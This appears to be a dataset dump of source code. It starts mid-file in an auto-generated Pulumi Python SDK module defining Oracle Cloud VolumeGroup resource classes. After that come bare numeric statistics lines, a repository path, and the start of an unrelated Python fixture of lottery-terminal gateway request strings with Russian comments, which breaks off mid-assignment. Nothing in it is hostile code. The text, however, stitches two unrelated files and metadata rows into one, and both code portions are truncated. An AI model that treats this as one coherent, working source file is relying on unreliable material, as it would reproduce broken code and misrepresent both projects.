Optional[pulumi.Input[Mapping[str, Any]]]): pulumi.set(self, "defined_tags", value) @property @pulumi.getter(name="displayName") def display_name(self) -> Optional[pulumi.Input[str]]: """ (Updatable) A user-friendly name for the volume group. Does not have to be unique, and it's changeable. Avoid entering confidential information. """ return pulumi.get(self, "display_name") @display_name.setter def display_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "display_name", value) @property @pulumi.getter(name="freeformTags") def freeform_tags(self) -> Optional[pulumi.Input[Mapping[str, Any]]]: """ (Updatable) Free-form tags for this resource. Each tag is a simple key-value pair with no predefined name, type, or namespace. For more information, see [Resource Tags](https://docs.cloud.oracle.com/iaas/Content/General/Concepts/resourcetags.htm). Example: `{"Department": "Finance"}` """ return pulumi.get(self, "freeform_tags") @freeform_tags.setter def freeform_tags(self, value: Optional[pulumi.Input[Mapping[str, Any]]]): pulumi.set(self, "freeform_tags", value) @pulumi.input_type class _VolumeGroupState: def __init__(__self__, *, availability_domain: Optional[pulumi.Input[str]] = None, backup_policy_id: Optional[pulumi.Input[str]] = None, compartment_id: Optional[pulumi.Input[str]] = None, defined_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None, display_name: Optional[pulumi.Input[str]] = None, freeform_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None, is_hydrated: Optional[pulumi.Input[bool]] = None, size_in_gbs: Optional[pulumi.Input[str]] = None, size_in_mbs: Optional[pulumi.Input[str]] = None, source_details: Optional[pulumi.Input['VolumeGroupSourceDetailsArgs']] = None, state: Optional[pulumi.Input[str]] = None, time_created: Optional[pulumi.Input[str]] = None, volume_ids: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None): """ Input properties used for looking up and filtering VolumeGroup resources. :param pulumi.Input[str] availability_domain: The availability domain of the volume group. :param pulumi.Input[str] backup_policy_id: If provided, specifies the ID of the volume backup policy to assign to the newly created volume group. If omitted, no policy will be assigned. :param pulumi.Input[str] compartment_id: (Updatable) The OCID of the compartment that contains the volume group. :param pulumi.Input[Mapping[str, Any]] defined_tags: (Updatable) Defined tags for this resource. Each key is predefined and scoped to a namespace. For more information, see [Resource Tags](https://docs.cloud.oracle.com/iaas/Content/General/Concepts/resourcetags.htm). Example: `{"Operations.CostCenter": "42"}` :param pulumi.Input[str] display_name: (Updatable) A user-friendly name for the volume group. Does not have to be unique, and it's changeable. Avoid entering confidential information. :param pulumi.Input[Mapping[str, Any]] freeform_tags: (Updatable) Free-form tags for this resource. Each tag is a simple key-value pair with no predefined name, type, or namespace. For more information, see [Resource Tags](https://docs.cloud.oracle.com/iaas/Content/General/Concepts/resourcetags.htm). Example: `{"Department": "Finance"}` :param pulumi.Input[bool] is_hydrated: Specifies whether the newly created cloned volume group's data has finished copying from the source volume group or backup. :param pulumi.Input[str] size_in_gbs: The aggregate size of the volume group in GBs. :param pulumi.Input[str] size_in_mbs: The aggregate size of the volume group in MBs. :param pulumi.Input['VolumeGroupSourceDetailsArgs'] source_details: Specifies the source for a volume group. :param pulumi.Input[str] state: The current state of a volume group. :param pulumi.Input[str] time_created: The date and time the volume group was created. Format defined by [RFC3339](https://tools.ietf.org/html/rfc3339). :param pulumi.Input[Sequence[pulumi.Input[str]]] volume_ids: OCIDs for the volumes in this volume group. """ if availability_domain is not None: pulumi.set(__self__, "availability_domain", availability_domain) if backup_policy_id is not None: pulumi.set(__self__, "backup_policy_id", backup_policy_id) if compartment_id is not None: pulumi.set(__self__, "compartment_id", compartment_id) if defined_tags is not None: pulumi.set(__self__, "defined_tags", defined_tags) if display_name is not None: pulumi.set(__self__, "display_name", display_name) if freeform_tags is not None: pulumi.set(__self__, "freeform_tags", freeform_tags) if is_hydrated is not None: pulumi.set(__self__, "is_hydrated", is_hydrated) if size_in_gbs is not None: pulumi.set(__self__, "size_in_gbs", size_in_gbs) if size_in_mbs is not None: pulumi.set(__self__, "size_in_mbs", size_in_mbs) if source_details is not None: pulumi.set(__self__, "source_details", source_details) if state is not None: pulumi.set(__self__, "state", state) if time_created is not None: pulumi.set(__self__, "time_created", time_created) if volume_ids is not None: pulumi.set(__self__, "volume_ids", volume_ids) @property @pulumi.getter(name="availabilityDomain") def availability_domain(self) -> Optional[pulumi.Input[str]]: """ The availability domain of the volume group. """ return pulumi.get(self, "availability_domain") @availability_domain.setter def availability_domain(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "availability_domain", value) @property @pulumi.getter(name="backupPolicyId") def backup_policy_id(self) -> Optional[pulumi.Input[str]]: """ If provided, specifies the ID of the volume backup policy to assign to the newly created volume group. If omitted, no policy will be assigned. """ return pulumi.get(self, "backup_policy_id") @backup_policy_id.setter def backup_policy_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "backup_policy_id", value) @property @pulumi.getter(name="compartmentId") def compartment_id(self) -> Optional[pulumi.Input[str]]: """ (Updatable) The OCID of the compartment that contains the volume group. """ return pulumi.get(self, "compartment_id") @compartment_id.setter def compartment_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "compartment_id", value) @property @pulumi.getter(name="definedTags") def defined_tags(self) -> Optional[pulumi.Input[Mapping[str, Any]]]: """ (Updatable) Defined tags for this resource. Each key is predefined and scoped to a namespace. For more information, see [Resource Tags](https://docs.cloud.oracle.com/iaas/Content/General/Concepts/resourcetags.htm). Example: `{"Operations.CostCenter": "42"}` """ return pulumi.get(self, "defined_tags") @defined_tags.setter def defined_tags(self, value: Optional[pulumi.Input[Mapping[str, Any]]]): pulumi.set(self, "defined_tags", value) @property @pulumi.getter(name="displayName") def display_name(self) -> Optional[pulumi.Input[str]]: """ (Updatable) A user-friendly name for the volume group. Does not have to be unique, and it's changeable. Avoid entering confidential information. """ return pulumi.get(self, "display_name") @display_name.setter def display_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "display_name", value) @property @pulumi.getter(name="freeformTags") def freeform_tags(self) -> Optional[pulumi.Input[Mapping[str, Any]]]: """ (Updatable) Free-form tags for this resource. Each tag is a simple key-value pair with no predefined name, type, or namespace. For more information, see [Resource Tags](https://docs.cloud.oracle.com/iaas/Content/General/Concepts/resourcetags.htm). Example: `{"Department": "Finance"}` """ return pulumi.get(self, "freeform_tags") @freeform_tags.setter def freeform_tags(self, value: Optional[pulumi.Input[Mapping[str, Any]]]): pulumi.set(self, "freeform_tags", value) @property @pulumi.getter(name="isHydrated") def is_hydrated(self) -> Optional[pulumi.Input[bool]]: """ Specifies whether the newly created cloned volume group's data has finished copying from the source volume group or backup. """ return pulumi.get(self, "is_hydrated") @is_hydrated.setter def is_hydrated(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "is_hydrated", value) @property @pulumi.getter(name="sizeInGbs") def size_in_gbs(self) -> Optional[pulumi.Input[str]]: """ The aggregate size of the volume group in GBs. """ return pulumi.get(self, "size_in_gbs") @size_in_gbs.setter def size_in_gbs(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "size_in_gbs", value) @property @pulumi.getter(name="sizeInMbs") def size_in_mbs(self) -> Optional[pulumi.Input[str]]: """ The aggregate size of the volume group in MBs. """ return pulumi.get(self, "size_in_mbs") @size_in_mbs.setter def size_in_mbs(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "size_in_mbs", value) @property @pulumi.getter(name="sourceDetails") def source_details(self) -> Optional[pulumi.Input['VolumeGroupSourceDetailsArgs']]: """ Specifies the source for a volume group. """ return pulumi.get(self, "source_details") @source_details.setter def source_details(self, value: Optional[pulumi.Input['VolumeGroupSourceDetailsArgs']]): pulumi.set(self, "source_details", value) @property @pulumi.getter def state(self) -> Optional[pulumi.Input[str]]: """ The current state of a volume group. """ return pulumi.get(self, "state") @state.setter def state(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "state", value) @property @pulumi.getter(name="timeCreated") def time_created(self) -> Optional[pulumi.Input[str]]: """ The date and time the volume group was created. Format defined by [RFC3339](https://tools.ietf.org/html/rfc3339). """ return pulumi.get(self, "time_created") @time_created.setter def time_created(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "time_created", value) @property @pulumi.getter(name="volumeIds") def volume_ids(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ OCIDs for the volumes in this volume group. """ return pulumi.get(self, "volume_ids") @volume_ids.setter def volume_ids(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "volume_ids", value) class VolumeGroup(pulumi.CustomResource): @overload def __init__(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, availability_domain: Optional[pulumi.Input[str]] = None, backup_policy_id: Optional[pulumi.Input[str]] = None, compartment_id: Optional[pulumi.Input[str]] = None, defined_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None, display_name: Optional[pulumi.Input[str]] = None, freeform_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None, source_details: Optional[pulumi.Input[pulumi.InputType['VolumeGroupSourceDetailsArgs']]] = None, __props__=None): """ ## Import VolumeGroups can be imported using the `id`, e.g. ```sh $ pulumi import oci:core/volumeGroup:VolumeGroup test_volume_group "id" ``` :param str resource_name: The name of the resource. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[str] availability_domain: The availability domain of the volume group. :param pulumi.Input[str] backup_policy_id: If provided, specifies the ID of the volume backup policy to assign to the newly created volume group. If omitted, no policy will be assigned. :param pulumi.Input[str] compartment_id: (Updatable) The OCID of the compartment that contains the volume group. :param pulumi.Input[Mapping[str, Any]] defined_tags: (Updatable) Defined tags for this resource. Each key is predefined and scoped to a namespace. For more information, see [Resource Tags](https://docs.cloud.oracle.com/iaas/Content/General/Concepts/resourcetags.htm). Example: `{"Operations.CostCenter": "42"}` :param pulumi.Input[str] display_name: (Updatable) A user-friendly name for the volume group. Does not have to be unique, and it's changeable. Avoid entering confidential information. :param pulumi.Input[Mapping[str, Any]] freeform_tags: (Updatable) Free-form tags for this resource. Each tag is a simple key-value pair with no predefined name, type, or namespace. For more information, see [Resource Tags](https://docs.cloud.oracle.com/iaas/Content/General/Concepts/resourcetags.htm). Example: `{"Department": "Finance"}` :param pulumi.Input[pulumi.InputType['VolumeGroupSourceDetailsArgs']] source_details: Specifies the source for a volume group. """ ... @overload def __init__(__self__, resource_name: str, args: VolumeGroupArgs, opts: Optional[pulumi.ResourceOptions] = None): """ ## Import VolumeGroups can be imported using the `id`, e.g. ```sh $ pulumi import oci:core/volumeGroup:VolumeGroup test_volume_group "id" ``` :param str resource_name: The name of the resource. :param VolumeGroupArgs args: The arguments to use to populate this resource's properties. :param pulumi.ResourceOptions opts: Options for the resource. """ ... def __init__(__self__, resource_name: str, *args, **kwargs): resource_args, opts = _utilities.get_resource_args_opts(VolumeGroupArgs, pulumi.ResourceOptions, *args, **kwargs) if resource_args is not None: __self__._internal_init(resource_name, opts, **resource_args.__dict__) else: __self__._internal_init(resource_name, *args, **kwargs) def _internal_init(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, availability_domain: Optional[pulumi.Input[str]] = None, backup_policy_id: Optional[pulumi.Input[str]] = None, compartment_id: Optional[pulumi.Input[str]] = None, defined_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None, display_name: Optional[pulumi.Input[str]] = None, freeform_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None, source_details: Optional[pulumi.Input[pulumi.InputType['VolumeGroupSourceDetailsArgs']]] = None, __props__=None): if opts is None: opts = pulumi.ResourceOptions() if not isinstance(opts, pulumi.ResourceOptions): raise TypeError('Expected resource options to be a ResourceOptions instance') if opts.version is None: opts.version = _utilities.get_version() if opts.id is None: if __props__ is not None: raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource') __props__ = VolumeGroupArgs.__new__(VolumeGroupArgs) if availability_domain is None and not opts.urn: raise TypeError("Missing required property 'availability_domain'") __props__.__dict__["availability_domain"] = availability_domain __props__.__dict__["backup_policy_id"] = backup_policy_id if compartment_id is None and not opts.urn: raise TypeError("Missing required property 'compartment_id'") __props__.__dict__["compartment_id"] = compartment_id __props__.__dict__["defined_tags"] = defined_tags __props__.__dict__["display_name"] = display_name __props__.__dict__["freeform_tags"] = freeform_tags if source_details is None and not opts.urn: raise TypeError("Missing required property 'source_details'") __props__.__dict__["source_details"] = source_details __props__.__dict__["is_hydrated"] = None __props__.__dict__["size_in_gbs"] = None __props__.__dict__["size_in_mbs"] = None __props__.__dict__["state"] = None __props__.__dict__["time_created"] = None __props__.__dict__["volume_ids"] = None super(VolumeGroup, __self__).__init__( 'oci:core/volumeGroup:VolumeGroup', resource_name, __props__, opts) @staticmethod def get(resource_name: str, id: pulumi.Input[str], opts: Optional[pulumi.ResourceOptions] = None, availability_domain: Optional[pulumi.Input[str]] = None, backup_policy_id: Optional[pulumi.Input[str]] = None, compartment_id: Optional[pulumi.Input[str]] = None, defined_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None, display_name: Optional[pulumi.Input[str]] = None, freeform_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None, is_hydrated: Optional[pulumi.Input[bool]] = None, size_in_gbs: Optional[pulumi.Input[str]] = None, size_in_mbs: Optional[pulumi.Input[str]] = None, source_details: Optional[pulumi.Input[pulumi.InputType['VolumeGroupSourceDetailsArgs']]] = None, state: Optional[pulumi.Input[str]] = None, time_created: Optional[pulumi.Input[str]] = None, volume_ids: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None) -> 'VolumeGroup': """ Get an existing VolumeGroup resource's state with the given name, id, and optional extra properties used to qualify the lookup. :param str resource_name: The unique name of the resulting resource. :param pulumi.Input[str] id: The unique provider ID of the resource to lookup. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[str] availability_domain: The availability domain of the volume group. :param pulumi.Input[str] backup_policy_id: If provided, specifies the ID of the volume backup policy to assign to the newly created volume group. If omitted, no policy will be assigned. :param pulumi.Input[str] compartment_id: (Updatable) The OCID of the compartment that contains the volume group. :param pulumi.Input[Mapping[str, Any]] defined_tags: (Updatable) Defined tags for this resource. Each key is predefined and scoped to a namespace. For more information, see [Resource Tags](https://docs.cloud.oracle.com/iaas/Content/General/Concepts/resourcetags.htm). Example: `{"Operations.CostCenter": "42"}` :param pulumi.Input[str] display_name: (Updatable) A user-friendly name for the volume group. Does not have to be unique, and it's changeable. Avoid entering confidential information. :param pulumi.Input[Mapping[str, Any]] freeform_tags: (Updatable) Free-form tags for this resource. Each tag is a simple key-value pair with no predefined name, type, or namespace. For more information, see [Resource Tags](https://docs.cloud.oracle.com/iaas/Content/General/Concepts/resourcetags.htm). Example: `{"Department": "Finance"}` :param pulumi.Input[bool] is_hydrated: Specifies whether the newly created cloned volume group's data has finished copying from the source volume group or backup. :param pulumi.Input[str] size_in_gbs: The aggregate size of the volume group in GBs. :param pulumi.Input[str] size_in_mbs: The aggregate size of the volume group in MBs. :param pulumi.Input[pulumi.InputType['VolumeGroupSourceDetailsArgs']] source_details: Specifies the source for a volume group. :param pulumi.Input[str] state: The current state of a volume group. :param pulumi.Input[str] time_created: The date and time the volume group was created. Format defined by [RFC3339](https://tools.ietf.org/html/rfc3339). :param pulumi.Input[Sequence[pulumi.Input[str]]] volume_ids: OCIDs for the volumes in this volume group. """ opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id)) __props__ = _VolumeGroupState.__new__(_VolumeGroupState) __props__.__dict__["availability_domain"] = availability_domain __props__.__dict__["backup_policy_id"] = backup_policy_id __props__.__dict__["compartment_id"] = compartment_id __props__.__dict__["defined_tags"] = defined_tags __props__.__dict__["display_name"] = display_name __props__.__dict__["freeform_tags"] = freeform_tags __props__.__dict__["is_hydrated"] = is_hydrated __props__.__dict__["size_in_gbs"] = size_in_gbs __props__.__dict__["size_in_mbs"] = size_in_mbs __props__.__dict__["source_details"] = source_details __props__.__dict__["state"] = state __props__.__dict__["time_created"] = time_created __props__.__dict__["volume_ids"] = volume_ids return VolumeGroup(resource_name, opts=opts, __props__=__props__) @property @pulumi.getter(name="availabilityDomain") def availability_domain(self) -> pulumi.Output[str]: """ The availability domain of the volume group. """ return pulumi.get(self, "availability_domain") @property @pulumi.getter(name="backupPolicyId") def backup_policy_id(self) -> pulumi.Output[str]: """ If provided, specifies the ID of the volume backup policy to assign to the newly created volume group. If omitted, no policy will be assigned. """ return pulumi.get(self, "backup_policy_id") @property @pulumi.getter(name="compartmentId") def compartment_id(self) -> pulumi.Output[str]: """ (Updatable) The OCID of the compartment that contains the volume group. """ return pulumi.get(self, "compartment_id") @property @pulumi.getter(name="definedTags") def defined_tags(self) -> pulumi.Output[Mapping[str, Any]]: """ (Updatable) Defined tags for this resource. Each key is predefined and scoped to a namespace. For more information, see [Resource Tags](https://docs.cloud.oracle.com/iaas/Content/General/Concepts/resourcetags.htm). Example: `{"Operations.CostCenter": "42"}` """ return pulumi.get(self, "defined_tags") @property @pulumi.getter(name="displayName") def display_name(self) -> pulumi.Output[str]: """ (Updatable) A user-friendly name for the volume group. Does not have to be unique, and it's changeable. Avoid entering confidential information. """ return pulumi.get(self, "display_name") @property @pulumi.getter(name="freeformTags") def freeform_tags(self) -> pulumi.Output[Mapping[str, Any]]: """ (Updatable) Free-form tags for this resource. Each tag is a simple key-value pair with no predefined name, type, or namespace. For more information, see [Resource Tags](https://docs.cloud.oracle.com/iaas/Content/General/Concepts/resourcetags.htm). Example: `{"Department": "Finance"}` """ return pulumi.get(self, "freeform_tags") @property @pulumi.getter(name="isHydrated") def is_hydrated(self) -> pulumi.Output[bool]: """ Specifies whether the newly created cloned volume group's data has finished copying from the source volume group or backup. """ return pulumi.get(self, "is_hydrated") @property @pulumi.getter(name="sizeInGbs") def size_in_gbs(self) -> pulumi.Output[str]: """ The aggregate size of the volume group in GBs. """ return pulumi.get(self, "size_in_gbs") @property @pulumi.getter(name="sizeInMbs") def size_in_mbs(self) -> pulumi.Output[str]: """ The aggregate size of the volume group in MBs. """ return pulumi.get(self, "size_in_mbs") @property @pulumi.getter(name="sourceDetails") def source_details(self) -> pulumi.Output['outputs.VolumeGroupSourceDetails']: """ Specifies the source for a volume group. """ return pulumi.get(self, "source_details") @property @pulumi.getter def state(self) -> pulumi.Output[str]: """ The current state of a volume group. """ return pulumi.get(self, "state") @property @pulumi.getter(name="timeCreated") def time_created(self) -> pulumi.Output[str]: """ The date and time the volume group was created. Format defined by [RFC3339](https://tools.ietf.org/html/rfc3339). """ return pulumi.get(self, "time_created") @property @pulumi.getter(name="volumeIds") def volume_ids(self) -> pulumi.Output[Sequence[str]]: """ OCIDs for the volumes in this volume group. """ return pulumi.get(self, "volume_ids")
51.398374
347
0.671908
3,888
31,610
5.254887
0.061471
0.07376
0.05756
0.049533
0.892908
0.865792
0.853115
0.834467
0.819245
0.78841
0
0.001907
0.220373
31,610
614
348
51.482085
0.827138
0.371971
0
0.645777
1
0
0.122745
0.018199
0
0
0
0
0
1
0.163488
false
0.002725
0.019074
0
0.283379
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
89c9002e8447cbdac2fde90dc93e793ec1f5eabc
36,561
py
Python
fixture/messages.py
FearFactor1/SPA
a05aaa924c5bebb52cd508ebdf7fd3b81c49fac7
[ "Apache-2.0" ]
1
2019-12-05T06:50:54.000Z
2019-12-05T06:50:54.000Z
fixture/messages.py
FearFactor1/SPA
a05aaa924c5bebb52cd508ebdf7fd3b81c49fac7
[ "Apache-2.0" ]
null
null
null
fixture/messages.py
FearFactor1/SPA
a05aaa924c5bebb52cd508ebdf7fd3b81c49fac7
[ "Apache-2.0" ]
null
null
null
from datetime import datetime, timedelta class MessageID: def __init__(self, app): self.app = app # переменная DATE_START - текущая дата для запросов DATE_START = f"{datetime.today():%Y.%m.%d+03}" # переменная DATE_START_CURRENT_MONTH_ML - текущий месяц для запросов 32 DATE_START_CURRENT_MONTH_ML = f"{datetime.today():%Y.%m.01+03}" # Адрес запроса 33 - результаты и призы URL_33 = "" URL_32 = "" TERMINAL_ID = "" LOGIN = "" PASSWORD = "" PLAYER_INFO = "" # ---------------- message_id=5: # message_id=5, запрос баланса терминала в гейт URL_5 = "" DATA_BALANCE = f'TERMINAL_ID={TERMINAL_ID}&REQUEST_TIME=1&LOGIN={LOGIN}&PASSWORD={PASSWORD}' # ----------------------------------------------------------------------------------------- # ---------------- message_id=40: URL_40 = "" DATA_40_BONUS_PRICE = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&VERSION=1&BONUS_FLAG=1&' \ f'N_GAME_ID=18&GAME_ID[0]=4420&GAME_ID[1]=5536&GAME_ID[2]=5101&GAME_ID[3]=5150&' \ f'GAME_ID[4]=5550&GAME_ID[5]=28005&GAME_ID[6]=7103&GAME_ID[7]=7105&GAME_ID[8]=7115&' \ f'GAME_ID[9]=7175&GAME_ID[10]=7101&GAME_ID[11]=5211&GAME_ID[12]=5212&GAME_ID[13]=28001&' \ f'GAME_ID[14]=28003&GAME_ID[15]=28102&GAME_ID[16]=2177&GAME_ID[17]=1124' # -------------------------------------------------- # ---------------- message_id=64: # message_id=64, запрос состояния бонусного счета участника URL_64 = "" # DATA_64_BONUS_BALANCE = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&PLAYER_INFO={PLAYER_INFO}' # ----------------------------------------------------------------------------------------- # ---------------- message_id=50: # message_id=50, Информационный запрос размера выигрыша по лотерейному билету с учетом налога, message_id=50 # URL_50 = "http://ga-s3-lcp.ga.stoloto.su/fprov/fcgi_pos?message_id=50" # DATA_50_TOTAL_AMOUNT = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&ID_TICKET_TYPE=1&' \ # f'BARCODE="00000 00000 00000 00000 00000 00000 00000"&TICKET_ID={TICKET_ID}&TAX_DEDUCTION_REQUESTED=0' # ----------------------------------------------------------------------------------------- # message_id=32 для отчётов: # ---------------- message_id=32: # Отчёт за текущий месяц DATA_32_REPORT_TYPE_1031 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=1031&' \ f'REPORT_USER={LOGIN}&REPORT_TERMINAL={TERMINAL_ID}&' \ f'DATE_START="{DATE_START_CURRENT_MONTH_ML}"' # Отчёт за текущий день DATA_32_REPORT_TYPE_1030 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=1030&' \ f'REPORT_USER={LOGIN}&REPORT_TERMINAL={TERMINAL_ID}&' \ f'DATE_START="{DATE_START}"' # Отчёт за текущий день по пользователю DATA_32_REPORT_TYPE_518 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=518&' \ f'REPORT_USER={LOGIN}&REPORT_TERMINAL={TERMINAL_ID}&' \ f'DATE_START="{DATE_START}"' # Отчёт за текущий месяц по пользователю DATA_32_REPORT_TYPE_519 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=519&' \ f'REPORT_USER={LOGIN}&REPORT_TERMINAL={TERMINAL_ID}&' \ f'DATE_START="{DATE_START_CURRENT_MONTH_ML}"' # ----------------------------------------------------------------------------------------- # message_id=33 для результатов и призов: # --------- 4на20: # message_id=33, данный запрос сделан для получения последнего тиража из гейта DATA_33_REPORT_TYPE_1_4420 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=1&' \ f'GAME_ID=4420&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения последних 4 тиражей из гейта DATA_33_REPORT_TYPE_2_4420 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=2&' \ f'GAME_ID=4420&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения результата последнего тиража REPORT_TYPE_3 DATA_33_REPORT_TYPE_3_4420 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=3&' \ f'GAME_ID=4420&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения результата тиража по текущей дате REPORT_TYPE_4 DATA_33_REPORT_TYPE_4_4420 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=4&' \ f'GAME_ID=4420&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения суммы суперприза DATA_33_REPORT_TYPE_5_4420 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=5&' \ f'GAME_ID=4420&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # -------------------------------------------- # --------- 5на36: # message_id=33, данный запрос сделан для получения последнего тиража из гейта DATA_33_REPORT_TYPE_1_5536 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=1&' \ f'GAME_ID=5536&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения последних 4 тиражей из гейта DATA_33_REPORT_TYPE_2_5536 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=2&' \ f'GAME_ID=5536&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения результата последнего тиража REPORT_TYPE_3 DATA_33_REPORT_TYPE_3_5536 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=3&' \ f'GAME_ID=5536&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения результата тиража по текущей дате REPORT_TYPE_4 DATA_33_REPORT_TYPE_4_5536 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=4&' \ f'GAME_ID=5536&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения суммы суперприза DATA_33_REPORT_TYPE_5_5536 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=5&' \ f'GAME_ID=5536&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # -------------------------------------------- # --------- 6из45: # message_id=33, данный запрос сделан для получения последнего тиража из гейта DATA_33_REPORT_TYPE_1_5101 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=1&' \ f'GAME_ID=5101&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения последних 4 тиражей из гейта DATA_33_REPORT_TYPE_2_5101 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=2&' \ f'GAME_ID=5101&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения результата последнего тиража REPORT_TYPE_3 DATA_33_REPORT_TYPE_3_5101 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=3&' \ f'GAME_ID=5101&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения результата тиража по текущей дате REPORT_TYPE_4 DATA_33_REPORT_TYPE_4_5101 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=4&' \ f'GAME_ID=5101&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения суммы суперприза DATA_33_REPORT_TYPE_5_5101 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=5&' \ f'GAME_ID=5101&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # -------------------------------------------- # --------- 7из49: # message_id=33, данный запрос сделан для получения последнего тиража из гейта DATA_33_REPORT_TYPE_1_5150 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=1&' \ f'GAME_ID=5150&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения последних 4 тиражей из гейта DATA_33_REPORT_TYPE_2_5150 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=2&' \ f'GAME_ID=5150&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения результата последнего тиража REPORT_TYPE_3 DATA_33_REPORT_TYPE_3_5150 = 